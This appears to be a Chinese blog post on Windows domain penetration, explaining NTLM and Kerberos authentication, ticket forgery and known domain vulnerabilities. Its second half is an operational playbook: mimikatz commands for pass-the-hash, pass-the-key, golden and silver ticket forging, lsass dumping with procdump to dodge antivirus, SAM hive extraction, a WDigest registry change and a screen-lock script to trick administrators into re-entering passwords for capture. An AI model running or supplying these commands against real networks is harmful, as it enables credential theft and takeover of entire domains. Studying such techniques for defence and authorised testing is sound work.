zoukankan      html  css  js  c++  java
  • 域渗透基本概念

    登录认证

    域是windows下的一种统一化管理的方式,明确一点,一个电脑可以用多个账号登录,并且还可以本地用户和域用户两种方式登录,没有域环境和有域环境的认证方式不同

    windows终端的管理,往往会分为,单独的主机,工作组,域环境,三种环境下认证方式均有不同

    类比linux/etc/passwd/etc/shadow的用来存放用户权限和用户密码的文件,windows同样有类似的文件是c:system32configsam

    在windows中的认证,大多数是考虑安全性,不会在认证通讯中传递明文密码,而是传递hash值,因此如果获取hash值,而没有明文密码,在一定情况下就可冒充该用户进行相应权限访问。hashsam中,在具有主机的一定权限的情况下,一般可以抓到

    windows下的hash类型

    LM HASH

    Lan manage Hash,早期使用的hash,目前已经废弃

    NT HASH

    本地登录时候,以该加密方式作为存储在SAM

    NTLM HASH

    顾名思义是LM HASHNT HASH的结合,大概格式一般张这样NT HSAH:LM HASH,中间以一个:,来隔开,也是mimikatz抓取到的hash

    储存在SAM文件中,如果存在域环境,也储存在域控的NTDS.dit文件中

    本地登录

    使用密码的NT HASH加密与SAM中的对应数据比较

    可以ps看下windows系统,登录认证需要以下2个exe来完成

    简而言之

    账号/密码 --接收--> winlogon.exe --传递--> lsass.exe --NT HASH加密--> sam 中比对
    

    但是现在一台windows一般要么在工作组中,要么在域环境下的

    工作组登录

    登录使用是NTML HASH,登录的验证方式叫做challenge/Response,也就是挑战/响应机制

    工作组是有一台(服务器端和客户端都是本身)或多台电脑的,在组中的服务器端上存有可以登录账号的NTML HASH

    1. 客户端发送账号登录请求给服务器端
    2. 服务器端随机生成16位的challenge,并与客户端要登录的账号的NTLM HASH 进行签名生成challenge-server,并把challenge发送给客户端
    3. 客户端手上的账号的密码先进行NTLM HASH运算,并再次和拿到的challenge进行运算得到challenge-client,并把challenge-client发送给服务器端
    4. 服务器拿到challenge-clientchallenge-server进行比较,相同则表示认证通过

    可以看到工作组的登录认证,全程没有明文密码的传递,是通过随机生成challenge进行加密传输认证

    域登录

    域中要登录一台主机,可以使用2种账号,域用户和域主机账号

    域用户由域控管理,他会在域控上分配域用户可以登录哪些主机的权限

    域主机账号即能登录该主机的账号,但一般不可登录其他服务器

    域和工作组、本地不同在于,登录的时候指定是域登录则要以domainusername的形式输入用户名,表明是domain域下的用户要请求登录

    与工作组不同的地方在于,服务器端只是作为中转,验证身份的为域控,即存储管理NTML HASH的地方是域控

    1. 客户端发送账号登录请求给服务器端
    2. 服务器端生成challenge,发送回客户端(与工作组想比这里没有生成challenge-server
    3. 客户端拿密码生成NTML HASHchallenge加密,生成NET NTML HASH发送给服务器端
    4. 服务器端将拿到NET NTML HASH,将手上的challenge账号发送给域控
    5. 域控拿对应账号的NTML HASHchallenge加密,与NET NTML HASH进比较,相同即通过

    加密版本:

    NTLM v1: 生成的challenge是8位

    NTLM V2: 生成的challenge是16位, 在2008,win7之后都是该版本

    Kerberos认证

    在域中的一个终端,要访问域中的一个服务器时,服务器要明确这个终端是不是有权限访问自己,和不和法之类的问题并不是服务器端校验,而是通过在域中的第三方KDC服务器管理的

    KDC又分为两部分,分别是AS(Authentication Server)以及TGS(Ticket Granting Server)

    明确每个机器有什么东西

    1. 客户端:有当前登录账号的密码
    2. AS服务器:生成与TGS服务器交互的凭证
    3. TGS服务器:有服务器端的信息,用户访问服务器的权限信息,颁发给客户端凭证的
    4. 服务器:提供服务的

    认证步骤:

    1. 客户端发送自己的ID网络状况AS服务器

    2. AS服务器发送2条请求给客户端

      • TGS-Session-Key, 这个是用来与TGS通信的,根据客户端的账号的密码加密的
      • TGT,这个是有TGS-Session-Key和时间戳,访问目标服务器等信息,根据KRBTGT的hash加密的
    3. 客户端接收TGS-Session-Key通过客户端的账号的密码解密得到密钥,将本地信息与密码加密,生成Server-Session-Key发给TGS

      客户端接收到TGT不做处理,直接发给 TGS

    4. TGS 收到TGT,利用KRBTGT的hash进行解密获取访问服务器的信息,进行校验,判断是否能够通过

      判断通过后,再将Server-Session-Key与时间戳,生命周期等信息通过服务器的hash进行加密生成Server-Ticket发送给客户端

    5. 客户端收到TGS发回的信息,用Server-Session-Key解密,解密内容加上ID 网络状况等信息,再用Server-Session-Key加密,发给服务器

      客户端收到TGS发回的Server-Ticket直接一并发服务器

    6. 服务器拿到Server-Ticket解密,验证通过,之后与客户端建立通讯连接

    简而言之,最终客户端会拿到一个Server-Ticket用来告诉服务器自己的身份,而在渗透中拿用户的Hash则可以伪造身份,生成Ticket,而不需要明文密码。

    票据

    在整个Kerberos认证中,不难发现需要的有三个hash客户端hash服务器端hashKRBTGT的hash

    而这三个hash

    服务器上:有服务器的hash

    客户端上:有客户端的hash

    KDC上:有大家所有人的hash

    客户端的hash用于,客户端与AS服务器通信,主要作用是确定客户端身份
    
    KRBTGT的hash用于,客户端与TGS的通信,主要作用是确定服务器信息和客户端的权限
    
    服务器端的hash用于,客户端与服务器端的通信,主要是验证客户端的身份
    
    • 那么有服务器的hash,即使没有KRBTGT的hash也能访问目标服务器
    • 如果有了KRBTGThash,则能访问所有服务器的权限

    白银票据(Silver Ticket)

    有目标服务器的hash,可以利用其伪造Ticket,达到访问指定目标服务器的作用。伪造的Ticket就叫做白银票据。

    黄金票据(Golden Ticket)

    有了KRBTGT的账号,这个账号在域控中,是建域自动生成的,KDC一般也是域控。有了KRBTGT的hash,则能伪造访问所有域中服务的Ticket

    Kerberoasting

    利用TGS发回给客户端时,携带了服务器端的hash,爆破该hash,成功既能获得服务器的明文密码

    漏洞

    MS14-068:如果域控即KDC,有该漏洞,那么可以使一个普通域用户变成域控,原理即和Kerberos认证有关。

    组策略首选项 + SYSVOL (GPP漏洞 —2k08)

    SYSVOL`存在于域中的所有域控中。包含公共文件的共享文件夹,包括组策略数据 ,经过认证的用户都可以访问该文件夹。所有域组策略都存储在这里:`\ <DOMAIN>  SYSVOL  <DOMAIN>  Policies 
    

    win2k8中添加了GPP选项,即组策略首选项,可以完成更多的系统及应用管理,比如说管理本地用户 添加计划任务等。

    在08的域控上为域主机远程添加用户,所有的操作都会写到Group.xml文件中,包括创建的账户名称 时间 以及加密后的密码。该密码默认是用AES256加密的,而且官方提供了完整的密钥,正好用来解密得到密码。漏洞的补丁编号为KB2962486.

    通过HASH进行登录

    在渗透中,拿不到明文密码,只是通过SAM等文件抓取到了NTML之类的hash值,是可以通过hash值进行登录其他主机的

    pth

    pass the hash(pth),在上述生成challenge-client的过程中,没有密码,但有NTML HASH一样是能够通过认证的,通过NTML HASH进行其他主机登录的方式即叫pth

    微软在12年发布了针对pth的补丁KBb2871997,意味着没法使用pth来登录了,但是这补丁的不足之处在于Administrator账号没有被限制,该账号的SID500, 也就是说SID500的账号不会受限制

    如果禁用了NTML认证,PsExec无法利用获得的NTML hash进行远程连接,但是使用mimikatz还是可以攻击成功

    mimikatz使用方法

    //先获取hash
    
    privilege::debug
    
    sekurlsa::logonpasswords
    
    //使用sekurlsa::pth 模块进行突破
    sekurlsa::pth /user:administrator /domain:test /ntlm:ccef208c6485269c20db2cad21734fe7
    

    ptk

    pass the key(ptk)是在pth不能用时,利用mimikatz的AES keys的方式代替NTML hash的一种方法

    //先获取aes加密
    
    privilege::debug
    
    sekurlsa::ekeys
    
    //使用sekurlsa::pth 模块使用aes方式
    "sekurlsa::pth /user:administrator /domain:test /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
    

    ptt

    清楚票据

    kerberos::purge
    
    klist purge
    

    黄金票据

    先获取krbtgt的hash

    privilege::debug
    

    使用key,来注入票据

    lsadump::dcsync /user:krbtgt
    
    mimikatz # kerberos::golden /domain:rootkit.org /sid:sid/aes256:ase256 /user:administrator /ticket:admin.kirbi
    

    使用hash,来注入票据

    lsadump::lsa /patch 导出hash
    
    kerberos::golden /domain:rootkit.org /sid:sid /krbtgt:hash /user:administrator /ticket:admin.kirbi
    

    白银票据

    kerberos::golden /user:dbadmin /domain:rootkit.org /sid:sid /targe
    t:Srv-Web-Kit.rootkit.org /rc4:ntlm_hash /ptt
    

    测试中的操作

    解决杀软杀掉mimikatz

    在有杀软时,可以使用以下方式获取lsass.exe的哈希,并下载到本地用mimikatz解密

     目标在system32下
     procdump.exe -accepteula -ma lsass.exe lsass.dmp
     
     本机
     sekurlsa::minidump lsass.dump
     sekurlsa::logonpasswords 
    
    目标
    reg save HKLMSYSTEM system.hiv 
    reg save HKLMSAM sam.hiv
    
    本机
    lsadump::sam /system:system.hiv /sam:sam.hiv
    

    解决windows10,windows server2012 抓不到明文密码

    在windows10,windows server 2012以上,即使弱口令,mimikatz抓不到明文密码的,可以使用以下方法

    设置注册表,使其能抓明文密码

    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    锁屏脚本,使管理员再次输入密码,即会被抓取

    Function Lock-WorkStation {
    $signature = @"
    [DllImport("user32.dll", SetLastError = true)]
    public static extern bool LockWorkStation();
    "@
    $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWo rkStation" -namespace Win32Functions -passthru
    $LockWorkStation::LockWorkStation() | Out-Null
    } Lock-WorkStation
    

    注销,使管理员再次输入密码,即会被抓取

    logoff.exe
  • 相关阅读:
    VIJOS-P1340 拯救ice-cream(广搜+优先级队列)
    uva 11754 Code Feat
    uva11426 GCD Extreme(II)
    uvalive 4119 Always an Interger
    POJ 1442 Black Box 优先队列
    2014上海网络赛 HDU 5053 the Sum of Cube
    uvalive 4795 Paperweight
    uvalive 4589 Asteroids
    uvalive 4973 Ardenia
    DP——数字游戏
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13309173.html
Copyright © 2011-2022 走看看